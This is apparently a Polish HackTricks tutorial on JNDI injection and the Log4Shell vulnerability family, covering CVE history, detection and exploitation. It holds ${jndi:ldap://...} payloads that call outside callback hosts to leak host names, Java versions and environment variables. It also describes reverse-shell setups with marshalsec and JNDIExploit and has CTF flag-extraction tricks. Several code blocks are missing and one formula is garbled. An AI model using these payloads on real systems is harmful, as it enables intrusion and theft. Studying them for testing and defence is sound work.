JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, zintegrowane z Javą od końca lat 90-tych, służy jako usługa katalogowa, umożliwiając programom Java lokalizowanie danych lub obiektów za pomocą systemu nazw. Obsługuje różne usługi katalogowe za pośrednictwem interfejsów dostawców usług (SPI), umożliwiając pobieranie danych z różnych systemów, w tym zdalnych obiektów Java. Powszechne SPI to CORBA COS, Java RMI Registry i LDAP.
Obiekty Java mogą być przechowywane i pobierane za pomocą Odniesień do nazw JNDI, które występują w dwóch formach:
Adresy odniesienia: Określa lokalizację obiektu (np. rmi://server/ref), umożliwiając bezpośrednie pobranie z określonego adresu.
Zdalna fabryka: Odnosi się do zdalnej klasy fabryki. Po uzyskaniu dostępu klasa jest pobierana i instancjonowana z zdalnej lokalizacji.
Jednak ten mechanizm może być wykorzystywany, co może prowadzić do ładowania i wykonywania dowolnego kodu. Jako środek zaradczy:
RMI: java.rmi.server.useCodeabseOnly = true
domyślnie od JDK 7u21, ograniczając ładowanie zdalnych obiektów. Menedżer bezpieczeństwa dodatkowo ogranicza to, co może być ładowane.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
domyślnie od JDK 6u141, 7u131, 8u121, blokując wykonywanie zdalnie ładowanych obiektów Java. Jeśli ustawione na true
, możliwe jest zdalne wykonanie kodu bez nadzoru Menedżera bezpieczeństwa.
CORBA: Nie ma konkretnej właściwości, ale Menedżer bezpieczeństwa jest zawsze aktywny.
Jednak Menedżer nazw, odpowiedzialny za rozwiązywanie linków JNDI, nie ma wbudowanych mechanizmów zabezpieczających, co może pozwolić na pobieranie obiektów z dowolnego źródła. Stanowi to ryzyko, ponieważ zabezpieczenia RMI, LDAP i CORBA mogą być omijane, co prowadzi do ładowania dowolnych obiektów Java lub wykorzystywania istniejących komponentów aplikacji (gadżetów) do uruchamiania złośliwego kodu.
Przykłady exploatowalnych adresów URL to:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Pomimo zabezpieczeń, luki w zabezpieczeniach pozostają, głównie z powodu braku zabezpieczeń przed ładowaniem JNDI z nieufnych źródeł oraz możliwości ominięcia istniejących zabezpieczeń.
Nawet jeśli ustawiłeś PROVIDER_URL
, możesz wskazać inny w wyszukiwaniu, a zostanie on użyty: ctx.lookup("<attacker-controlled-url>")
i to jest to, co napastnik wykorzysta do ładowania dowolnych obiektów z systemu, którym zarządza.
CORBA (Common Object Request Broker Architecture) wykorzystuje Interoperable Object Reference (IOR) do unikalnej identyfikacji zdalnych obiektów. To odniesienie zawiera istotne informacje, takie jak:
Typ ID: Unikalny identyfikator dla interfejsu.
Codebase: URL do uzyskania klasy stub.
Warto zauważyć, że CORBA nie jest z natury podatna na ataki. Zapewnienie bezpieczeństwa zazwyczaj obejmuje:
Instalację Menedżera bezpieczeństwa.
Konfigurację Menedżera bezpieczeństwa, aby zezwolić na połączenia z potencjalnie złośliwymi bazami kodu. Można to osiągnąć poprzez:
Uprawnienia do gniazd, np. permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Uprawnienia do odczytu plików, albo uniwersalnie (permission java.io.FilePermission "<<ALL FILES>>", "read";
), albo dla konkretnych katalogów, w których mogą być umieszczone złośliwe pliki.
Jednak niektóre polityki dostawców mogą być pobłażliwe i domyślnie zezwalać na te połączenia.
W przypadku RMI (Remote Method Invocation) sytuacja jest nieco inna. Podobnie jak w przypadku CORBA, domyślnie ograniczone jest pobieranie dowolnych klas. Aby wykorzystać RMI, zazwyczaj trzeba by obejść Menedżera bezpieczeństwa, co jest również istotne w CORBA.
Przede wszystkim musimy rozróżnić między Wyszukiwaniem a Wyszukiwaniem.
Wyszukiwanie użyje adresu URL, takiego jak ldap://localhost:389/o=JNDITutorial
, aby znaleźć obiekt JNDITutorial z serwera LDAP i pobrać jego atrybuty.
Wyszukiwanie jest przeznaczone do usług nazw, ponieważ chcemy uzyskać wszystko, co jest powiązane z nazwą.
Jeśli wyszukiwanie LDAP zostało wywołane z SearchControls.setReturningObjFlag() z true
, to zwrócony obiekt zostanie zrekonstruowany.
Dlatego istnieje kilka sposobów ataku na te opcje. Napastnik może zanieczyścić rekordy LDAP, wprowadzając ładunki na nich, które będą wykonywane w systemach, które je zbierają (bardzo przydatne do kompromitacji dziesiątek maszyn, jeśli masz dostęp do serwera LDAP). Innym sposobem wykorzystania tego byłoby przeprowadzenie ataku MitM w wyszukiwaniu LDAP, na przykład.
W przypadku, gdy możesz sprawić, aby aplikacja rozwiązała URL JNDI LDAP, możesz kontrolować LDAP, który będzie przeszukiwany, i możesz odesłać exploit (log4shell).
Exploit jest serializowany i zostanie deserializowany.
W przypadku, gdy trustURLCodebase
jest true
, napastnik może dostarczyć swoje własne klasy w bazie kodu, jeśli nie, będzie musiał wykorzystać gadżety w classpath.
Łatwiej jest zaatakować ten LDAP, używając odniesień JavaFactory:
Luka ta została wprowadzona w Log4j, ponieważ obsługuje specjalną składnię w formie ${prefix:name}
, gdzie prefix
jest jednym z wielu różnych Wyszukiwań, które powinny być oceniane. Na przykład, ${java:version}
to aktualnie uruchomiona wersja Javy.
LOG4J2-313 wprowadziło funkcję Wyszukiwania jndi
. Ta funkcja umożliwia pobieranie zmiennych przez JNDI. Zazwyczaj klucz jest automatycznie poprzedzany java:comp/env/
. Jednak jeśli sam klucz zawiera ":", ten domyślny prefiks nie jest stosowany.
Gdy w kluczu znajduje się :, jak w ${jndi:ldap://example.com/a}
, nie ma prefiksu i serwer LDAP jest zapytany o obiekt. A te Wyszukiwania mogą być używane zarówno w konfiguracji Log4j, jak i podczas rejestrowania linii.
Dlatego jedyną rzeczą potrzebną do uzyskania RCE jest podatna wersja Log4j przetwarzająca informacje kontrolowane przez użytkownika. A ponieważ jest to biblioteka szeroko stosowana przez aplikacje Java do rejestrowania informacji (w tym aplikacje dostępne w Internecie), bardzo powszechne było, aby log4j rejestrował na przykład nagłówki HTTP, które zostały odebrane, takie jak User-Agent. Jednak log4j nie jest używane tylko do rejestrowania informacji HTTP, ale wszelkich danych i informacji, które wskazał programista.
Ta luka jest krytyczną wadą nieufnej deserializacji w komponencie log4j-core
, wpływającą na wersje od 2.0-beta9 do 2.14.1. Umożliwia zdalne wykonanie kodu (RCE), umożliwiając napastnikom przejęcie systemów. Problem został zgłoszony przez Chena Zhaojuna z zespołu bezpieczeństwa Alibaba Cloud i wpływa na różne frameworki Apache. Początkowa poprawka w wersji 2.15.0 była niekompletna. Zasady Sigma dla obrony są dostępne (Reguła 1, Reguła 2).
Początkowo oceniana jako niska, ale później podniesiona do krytycznej, ta luka CVE jest wadą Denial of Service (DoS) wynikającą z niekompletnej poprawki w 2.15.0 dla CVE-2021-44228. Dotyczy to konfiguracji nie domyślnych, umożliwiając napastnikom powodowanie ataków DoS za pomocą stworzonych ładunków. Tweet pokazuje metodę obejścia. Problem został rozwiązany w wersjach 2.16.0 i 2.12.2 poprzez usunięcie wzorców wyszukiwania wiadomości i domyślne wyłączenie JNDI.
Dotyczy wersji Log4j 1.x w konfiguracjach nie domyślnych używających JMSAppender
, ta luka CVE jest wadą nieufnej deserializacji. Nie ma dostępnej poprawki dla gałęzi 1.x, która jest już nieaktualna, a zaleca się aktualizację do log4j-core 2.17.0
.
Ta luka dotyczy frameworka logowania Logback, następcy Log4j 1.x. Wcześniej uważany za bezpieczny, framework okazał się podatny, a nowsze wersje (1.3.0-alpha11 i 1.2.9) zostały wydane w celu rozwiązania problemu.
Log4j 2.16.0 zawiera lukę DoS, co skłoniło do wydania log4j 2.17.0
w celu naprawy CVE. Dalsze szczegóły znajdują się w raporcie BleepingComputer tutaj.
Dotyczy wersji log4j 2.17, ta luka CVE wymaga, aby napastnik kontrolował plik konfiguracyjny log4j. Dotyczy to potencjalnego zdalnego wykonania kodu za pośrednictwem skonfigurowanego JDBCAppender. Więcej szczegółów znajduje się w poście na blogu Checkmarx.
Ta luka jest bardzo łatwa do odkrycia, jeśli jest niechroniona, ponieważ wyśle co najmniej żądanie DNS do adresu, który wskażesz w swoim ładunku. Dlatego ładunki takie jak:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(używając canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(używając interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(używając Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn}
(używając dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(używając huntress)
Zauważ, że nawet jeśli otrzymasz żądanie DNS, to nie oznacza, że aplikacja jest podatna (lub nawet wrażliwa), będziesz musiał spróbować ją wykorzystać.
Pamiętaj, że aby wykorzystać wersję 2.15, musisz dodać obejście sprawdzania localhost: ${jndi:ldap://127.0.0.1#...}
Szukaj lokalnych podatnych wersji biblioteki za pomocą:
Niektóre z wcześniej wymienionych platform pozwolą Ci na wprowadzenie zmiennych danych, które będą rejestrowane, gdy zostaną zażądane. Może to być bardzo przydatne w 2 rzeczach:
Aby zweryfikować podatność
Aby ekstrahować informacje wykorzystując podatność
Na przykład możesz zażądać czegoś takiego:
lub jak ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
i jeśli otrzymasz zapytanie DNS z wartością zmiennej env, wiesz, że aplikacja jest podatna.
Inne informacje, które możesz spróbować wyciek:
Hosty działające na wersjach JDK powyżej 6u141, 7u131 lub 8u121 są zabezpieczone przed wektorem ataku ładowania klas LDAP. Wynika to z domyślnej dezaktywacji com.sun.jndi.ldap.object.trustURLCodebase
, która zapobiega ładowaniu zdalnej bazy kodu przez JNDI za pośrednictwem LDAP. Jednak ważne jest, aby zauważyć, że te wersje nie są chronione przed wektorem ataku deserializacji.
Dla atakujących, którzy chcą wykorzystać te wyższe wersje JDK, konieczne jest wykorzystanie zaufanego gadżetu w aplikacji Java. Narzędzia takie jak ysoserial lub JNDIExploit są często używane w tym celu. Z drugiej strony, wykorzystanie niższych wersji JDK jest stosunkowo łatwiejsze, ponieważ te wersje można manipulować, aby ładować i wykonywać dowolne klasy.
Dla więcej informacji (jak ograniczenia dotyczące wektorów RMI i CORBA) sprawdź poprzednią sekcję odniesienia JNDI Naming lub https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Możesz to przetestować w THM box: https://tryhackme.com/room/solar
Użyj narzędzia marshalsec (wersja jar dostępna tutaj). To podejście ustanawia serwer referencyjny LDAP, aby przekierować połączenia do drugiego serwera HTTP, na którym będzie hostowany exploit:
Aby skłonić cel do załadowania kodu reverse shell, stwórz plik Java o nazwie Exploit.java
z poniższą zawartością:
Skompiluj plik Java do pliku klasowego za pomocą: javac Exploit.java -source 8 -target 8
. Następnie uruchom serwer HTTP w katalogu zawierającym plik klasowy za pomocą: python3 -m http.server
. Upewnij się, że serwer LDAP marshalsec odnosi się do tego serwera HTTP.
Wywołaj wykonanie klasy exploit na podatnym serwerze WWW, wysyłając ładunek przypominający:
Uwaga: Ten exploit opiera się na konfiguracji Javy, która pozwala na zdalne ładowanie kodu za pomocą LDAP. Jeśli to nie jest dozwolone, rozważ wykorzystanie zaufanej klasy do wykonania dowolnego kodu.
Zauważ, że z jakiegoś powodu autor usunął ten projekt z githuba po odkryciu log4shell. Możesz znaleźć wersję w pamięci podręcznej pod adresem https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, ale jeśli chcesz uszanować decyzję autora, użyj innej metody, aby wykorzystać tę lukę.
Ponadto, nie możesz znaleźć kodu źródłowego w wayback machine, więc albo przeanalizuj kod źródłowy, albo uruchom jar, wiedząc, że nie wiesz, co uruchamiasz.
W tym przykładzie możesz po prostu uruchomić ten vulnerable web server to log4shell na porcie 8080: https://github.com/christophetd/log4shell-vulnerable-app (w README znajdziesz, jak to uruchomić). Ta podatna aplikacja rejestruje z podatną wersją log4shell zawartość nagłówka żądania HTTP X-Api-Version.
Następnie możesz pobrać plik jar JNDIExploit i uruchomić go za pomocą:
Po przeczytaniu kodu przez zaledwie kilka minut, w com.feihong.ldap.LdapServer i com.feihong.ldap.HTTPServer można zobaczyć, jak tworzone są serwery LDAP i HTTP. Serwer LDAP zrozumie, jaki ładunek należy dostarczyć i przekieruje ofiarę do serwera HTTP, który dostarczy exploit. W com.feihong.ldap.gadgets można znaleźć niektóre specyficzne gadżety, które mogą być użyte do wykonania pożądanej akcji (potencjalnie wykonania dowolnego kodu). A w com.feihong.ldap.template można zobaczyć różne klasy szablonów, które generują exploity.
Możesz zobaczyć wszystkie dostępne exploity za pomocą java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Niektóre przydatne to:
Więc w naszym przykładzie mamy już uruchomioną tę podatną aplikację docker. Aby ją zaatakować:
Kiedy wysyłasz ataki, zobaczysz pewne wyjście w terminalu, w którym uruchomiłeś JNDIExploit-1.2-SNAPSHOT.jar.
Pamiętaj, aby sprawdzić java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
w celu uzyskania innych opcji eksploatacji. Ponadto, w razie potrzeby, możesz zmienić port serwerów LDAP i HTTP.
W podobny sposób jak w poprzednim exploicie, możesz spróbować użyć JNDI-Exploit-Kit do wykorzystania tej luki. Możesz wygenerować adresy URL do wysłania do ofiary, uruchamiając:
Atak ten wykorzystujący niestandardowy obiekt java będzie działał w laboratoriach takich jak THM solar room. Jednakże, zazwyczaj nie zadziała (ponieważ domyślnie Java nie jest skonfigurowana do ładowania zdalnych baz kodu za pomocą LDAP), myślę, że to dlatego, że nie nadużywa zaufanej klasy do wykonywania dowolnego kodu.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus to kolejne narzędzie do generowania działających linków JNDI i zapewniania usług w tle poprzez uruchomienie serwera RMI, serwera LDAP i serwera HTTP.\
Ta opcja jest naprawdę przydatna do atakowania wersji Java skonfigurowanych do zaufania tylko określonym klasom, a nie wszystkim. Dlatego ysoserial będzie używany do generowania serializacji zaufanych klas, które mogą być używane jako gadżety do wykonywania dowolnego kodu (zaufana klasa nadużywana przez ysoserial musi być używana przez program java ofiary, aby exploit zadziałał).
Używając ysoserial lub ysoserial-modified możesz stworzyć exploit deserializacji, który zostanie pobrany przez JNDI:
Użyj JNDI-Exploit-Kit, aby wygenerować linki JNDI, gdzie exploit będzie czekał na połączenia z podatnymi maszynami. Możesz serwować różne exploity, które mogą być automatycznie generowane przez JNDI-Exploit-Kit lub nawet własne ładunki deserializacji (wygenerowane przez Ciebie lub ysoserial).
Teraz możesz łatwo użyć wygenerowanego linku JNDI, aby wykorzystać lukę i uzyskać reverse shell, wysyłając do podatnej wersji log4j: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Znajdź lokalne podatne biblioteki
W tym CTF writeup dobrze wyjaśniono, jak potencjalnie możliwe jest nadużycie niektórych funkcji Log4J.
Strona bezpieczeństwa Log4j zawiera kilka interesujących zdań:
Od wersji 2.16.0 (dla Java 8), funkcja wyszukiwania wiadomości została całkowicie usunięta. Wyszukiwania w konfiguracji nadal działają. Ponadto, Log4j teraz domyślnie wyłącza dostęp do JNDI. Wyszukiwania JNDI w konfiguracji muszą być teraz włączone jawnie.
Od wersji 2.17.0 (oraz 2.12.3 i 2.3.1 dla Java 7 i Java 6), tylko ciągi wyszukiwania w konfiguracji są rozwijane rekurencyjnie; w każdym innym użyciu, tylko wyszukiwanie na najwyższym poziomie jest rozwiązywane, a wszelkie zagnieżdżone wyszukiwania nie są rozwiązywane.
Oznacza to, że domyślnie możesz zapomnieć o używaniu jakiejkolwiek exploita jndi
. Co więcej, aby przeprowadzić rekurencyjne wyszukiwania, musisz je skonfigurować.
Na przykład, w tym CTF było to skonfigurowane w pliku log4j2.xml:
W tym CTF atakujący kontrolował wartość ${sys:cmd}
i musiał wyekstrahować flagę z zmiennej środowiskowej.
Jak widać na tej stronie w poprzednich ładunkach, istnieje kilka sposobów dostępu do zmiennych środowiskowych, takich jak: ${env:FLAG}
. W tym CTF to było bezużyteczne, ale może nie być w innych rzeczywistych scenariuszach.
W CTF nie mogłeś uzyskać dostępu do stderr aplikacji java używającej log4J, ale wyjątki Log4J są wysyłane do stdout, co było drukowane w aplikacji python. Oznaczało to, że wywołując wyjątek, mogliśmy uzyskać dostęp do treści. Wyjątek do wyekstrahowania flagi to: ${java:${env:FLAG}}
. Działa to, ponieważ ${java:CTF{blahblah}}
nie istnieje, a wyjątek z wartością flagi zostanie pokazany:
Warto to wspomnieć, można również wstrzyknąć nowe wzorce konwersji i wywołać wyjątki, które będą rejestrowane w stdout
. Na przykład:
To nie było uznawane za przydatne do wyekstrahowania danych wewnątrz komunikatu o błędzie, ponieważ wyszukiwanie nie zostało rozwiązane przed wzorcem konwersji, ale mogłoby być przydatne do innych rzeczy, takich jak wykrywanie.
Jednak możliwe jest użycie niektórych wzorców konwersji, które wspierają regexy, aby wyekstrahować informacje z wyszukiwania, używając regexów i nadużywając wyszukiwania binarnego lub zachowań opartych na czasie.
Wyszukiwanie binarne za pomocą komunikatów o wyjątkach
Wzorzec konwersji %replace
może być użyty do zamiany treści w ciągu nawet przy użyciu regexów. Działa to w ten sposób: replace{pattern}{regex}{substitution}
Nadużywając tego zachowania, można sprawić, aby zamiana wywołała wyjątek, jeśli regex pasował do czegokolwiek w ciągu (i brak wyjątku, jeśli nie został znaleziony) w ten sposób:
Czasowe
Jak wspomniano w poprzedniej sekcji, %replace
obsługuje regexy. Możliwe jest więc użycie ładunku z strony ReDoS, aby spowodować przekroczenie czasu w przypadku znalezienia flagi.
Na przykład ładunek taki jak %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
spowodowałby przekroczenie czasu w tym CTF.
W tym opisie, zamiast używać ataku ReDoS, użyto ataku amplifikacyjnego, aby spowodować różnicę czasową w odpowiedzi:
Jeśli flaga zaczyna się od
flagGuess
, cała flaga jest zastępowana 29#
-ami (użyłem tego znaku, ponieważ prawdopodobnie nie będzie częścią flagi). Każdy z 29#
-ów jest następnie zastępowany przez 54#
-y. Proces ten powtarza się 6 razy, co prowadzi do łącznej liczby29*54*54^6* =`` ``
96816014208
#
-ów!Zastąpienie tak wielu
#
-ów spowoduje wywołanie 10-sekundowego limitu czasu aplikacji Flask, co z kolei skutkuje wysłaniem kodu statusu HTTP 500 do użytkownika. (Jeśli flaga nie zaczyna się odflagGuess
, otrzymamy kod statusu inny niż 500)
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)